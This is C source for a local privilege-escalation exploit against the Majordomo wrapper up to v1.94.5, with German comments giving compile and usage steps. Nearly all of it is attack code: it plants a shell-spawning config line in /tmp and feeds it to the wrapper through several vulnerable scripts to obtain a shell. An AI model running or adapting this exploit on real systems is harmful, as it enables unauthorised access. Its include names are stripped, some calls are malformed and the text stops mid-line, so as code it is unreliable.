/* MAJORDOMO - EXPLOIT FÜR LINUX getestet bis v1.94.5 programmiert von Morpheus Der Exploit basiert auf der fehlerhaften Nutzung von Majordomo- Skripten. Standardmäßig wird vom Exploit das "bounce-remind"-Skript verwandt. Bei Erfolg liefert der Exploit eine Shell mit einer uid und gid dem Majordomo Wrapper entsprechend gesetzt. Getestet wurde der Exploit auf SuSE Linux 6.0 / 6.3 (CeBIT-Version). Zur Kompilierung des Exploits: gcc major.c -o major Zur Nutzung des Exploits: Wenn der Exploit heißt dann einfach ./major eingeben. Es sollte genügen. Wenn dann keine Shell gestartet wird, bitte die Fehlermeldungen beachten. Entweder ist die Majordomo-Version nicht "kompatibel" oder das Majordomo-Skript ist nicht vorhanden. Dann sollte man entweder ./major auto eingeben, so dass der Exploit alle verwundbaren Skripts ausprobiert, oder man gibt ./major ein, wobei durch ein verwundbares Majordomo-Skript zu ersetzen ist. Um die Hilfe-Übersicht zu bekommen, einfach ./major -h eingeben. Programmiert von Morpheus [BrightDarkness] '00 URL: www.brightdarkness.de Mail: morpheusbd@gmx.net Dieser Bug in Majordomo wurde nicht von mir entdeckt. Ich habe nur zu diesem Bug den entsprechenden Exploit programmiert. */ #include #include #include #define MAJORDOMO "/usr/lib/majordomo/wrapper" #define SHELL "system(\"/bin/sh\")" #define MORPHEUS "/tmp/morpheus" #define WRAPPER "wrapper" void intro(void); void usage(char *arg); int main(int argc, char **argv) { char skript[30]; char *skripte[40]; int i = 0; int file; skripte[1] = "bounce-remind"; skripte[2] = "archive2.pl"; skripte[3] = "config-test"; skripte[4] = "digest"; skripte[5] = "majordomo"; skripte[6] = "request-answer"; skripte[7] = "resend"; if ((argc == 2) && (strcmp(argv[1], "-h") == 0)) usage(argv[0]); if (argc == 2) strncpy(skript,argv[1], strlen(skript)); else strcpy(skript, "bounce-remind"); if ((file = open(MORPHEUS, O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) { perror(MORPHEUS); exit(1); } write(file, SHELL, strlen(SHELL)); close(file); intro(); if (strncmp(skript, "auto") == 0) { for (i = 1; i <= 7; i++) { printf("using : %s\n", skripte[i]); if (execl(MAJORDOMO, WRAPPER, skripte[i], "-C", MORPHEUS, 0) == -1) perror("EXECL"); } } else { printf("using : %s\n", skript); if (execl(MAJORDOMO, WRAPPER, skript, "-C", MORPHEUS, 0) == -1) perror("EXECL"); } return 0; } void intro(void) { printf("\033[2J\033[1;1H"); printf("\033[1;33mExploit-Code für Majordomo Wrapper <= v1.94.5\n"); printf("\033[1;32mProgrammiert von Morpheus [BrightDarkness] '00\n"); printf("\033[1;31mURL: \033[1;32mwww.brightdarkness.de\n"); printf("\033[1;31mmail: \033[1;32mmorpheusbd@gmx.net\n"); printf("\033[0;29m"); } void usage(char *arg) { intro(); printf("\033[1;34m"); printf("Hilfe für dieses Programm :\n"); printf("Benutzung : %s -h Help screen\n", arg); printf(" %s auto Trying all scripts automatically\n", arg); printf(" %s Tries just this